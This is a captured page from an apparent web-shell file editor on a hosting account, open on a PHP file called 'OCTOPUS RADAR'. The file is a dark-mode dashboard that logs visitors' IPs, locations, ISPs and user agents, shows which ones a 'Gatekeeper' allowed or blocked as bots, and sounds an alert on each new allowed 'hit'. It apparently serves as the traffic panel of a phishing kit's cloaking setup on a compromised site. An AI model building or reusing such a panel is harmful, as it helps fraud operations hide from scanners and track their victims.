查看网站首页
查看网站首页
查看 sitemap.xml
✏️ 正在编辑: view.php
路径:
/home/wwwbiore/public_html/in/Tratamiento/view.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /** * Project: OCTOPUS RADAR (Traffic Viewer v3 - Audio Alert) * Status: Dark Mode + Live Stats + Auto-Refresh + Sound Notification * Coded by: L'Bichir */ session_start(); error_reporting(0); $file = 'traffic.json'; // Nqraw l'Data mn l'JSON li kaykteb fih index.php $data = file_exists($file) ? json_decode(file_get_contents($file), true) : []; if (!is_array($data)) $data =[]; // N7esbo l'Statistiques $total = count($data); $allowed = 0; $blocked = 0; foreach($data as $row) { if(strtoupper($row['status']) == 'ALLOWED') { $allowed++; } else { $blocked++; } } // ---[ AUDIO NOTIFICATION LOGIC ] --- $play_sound = false; // Ila kan session fih l'3adad lqdim, w l'3adad jdid kber mno = New Hit! if (isset($_SESSION['last_allowed']) && $allowed > $_SESSION['last_allowed']) { $play_sound = true; } // N'sauviw l'3adad jdid l'mera jaya $_SESSION['last_allowed'] = $allowed; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="refresh" content="10"> <!-- L'Tbe9chicha dyal Auto-Refresh kol 10s --> <title>Octopus Radar - 1337</title> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> body { background: #0a0a0c; color: #fff; font-family: 'JetBrains Mono', monospace; margin: 0; padding: 25px; } .header { display: flex; justify-content: space-between; align-items: flex-end; border-bottom: 2px solid #333; padding-bottom: 15px; margin-bottom: 25px; } h1 { color: #00ff00; margin: 0; font-size: 26px; font-weight: 800; letter-spacing: -1px;} .sub-txt { color: #888; font-size: 13px; margin-top: 5px; } .stats { display: flex; gap: 15px; } .stat-box { background: #111116; padding: 12px 25px; border-radius: 4px; border: 1px solid #333; font-weight: 800; font-size: 14px; box-shadow: 0 4px 10px rgba(0,0,0,0.5);} .stat-box.all { color: #00d2ff; border-color: rgba(0, 210, 255, 0.3); } .stat-box.ok { color: #28a745; border-color: rgba(40, 167, 69, 0.3); } .stat-box.bad { color: #dc3545; border-color: rgba(220, 53, 69, 0.3); } table { width: 100%; border-collapse: collapse; font-size: 13px; background: #111116; border-radius: 6px; overflow: hidden; box-shadow: 0 5px 15px rgba(0,0,0,0.5);} th, td { padding: 14px 15px; text-align: left; border-bottom: 1px solid #1a1a24; } th { background: #1a1a24; color: #00ff00; text-transform: uppercase; font-size: 12px; font-weight: 800; letter-spacing: 1px;} tr:hover { background: #16161e; } .allowed { color: #28a745; font-weight: 800; } .blocked { color: #dc3545; font-weight: 800; } .reason { color: #e6b800; font-size: 12px; font-weight: 700;} .ip { color: #ffcc00; font-weight: 800; letter-spacing: 1px; } .geo { font-weight: bold; color: #00d2ff; } .ua { color: #666; font-size: 11px; max-width: 250px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; display: inline-block; cursor: help;} </style> </head> <body> <div class="header"> <div> <h1><i class="fa-solid fa-satellite-dish"></i> OCTOPUS RADAR</h1> <div class="sub-txt">Live traffic monitoring and Gatekeeper logs (Auto-refresh 10s)</div> </div> <div class="stats"> <div class="stat-box all"><i class="fa-solid fa-globe"></i> Total: <?php echo $total; ?></div> <div class="stat-box ok"><i class="fa-solid fa-user-check"></i> Allowed: <?php echo $allowed; ?></div> <div class="stat-box bad"><i class="fa-solid fa-robot"></i> Blocked: <?php echo $blocked; ?></div> </div> </div> <table> <thead> <tr> <th>Time</th> <th>IP Address</th> <th>GEO</th> <th>ISP / ORG</th> <th>Status</th> <th>Trigger Reason</th> <th>User Agent</th> </tr> </thead> <tbody> <?php if(empty($data)): ?> <tr><td colspan="7" style="text-align:center; color:#555; padding: 40px; font-size: 15px;">No traffic recorded yet. Waiting for hits...</td></tr> <?php else: ?> <?php foreach($data as $row): ?> <tr> <td style="color:#aaa; white-space: nowrap;"><?php echo htmlspecialchars($row['date']); ?></td> <td class="ip"><?php echo htmlspecialchars($row['ip']); ?></td> <td class="geo"><?php echo htmlspecialchars($row['cc']); ?> - <?php echo htmlspecialchars($row['city']); ?></td> <td style="color:#ccc; font-size: 12px;"><?php echo htmlspecialchars($row['isp']); ?></td> <td class="<?php echo strtolower(htmlspecialchars($row['status'])); ?>"> <?php echo htmlspecialchars($row['status']); ?> </td> <td class="reason"> <i class="fa-solid fa-bolt" style="opacity:0.7;"></i> <?php echo htmlspecialchars($row['reason']); ?> </td> <td> <span class="ua" title="<?php echo htmlspecialchars($row['ua']); ?>"> <?php echo htmlspecialchars($row['ua']); ?> </span> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> <!-- AUDIO NOTIFICATION SCRIPT --> <?php if($play_sound): ?> <script> // L'Hbrra d'Sot: Kat'playi s-sot mn serveur n9i var audio = new Audio('https://assets.mixkit.co/active_storage/sfx/2869/2869-preview.mp3'); // N'diro play, w ila blockaha l'browser nfichiw message f console audio.play().catch(function(error) { console.log('Autoplay blocked by browser. Please click anywhere on the page to allow sound.'); }); </script> <?php endif; ?> </body> </html>
💾 保存文件
← 返回文件管理器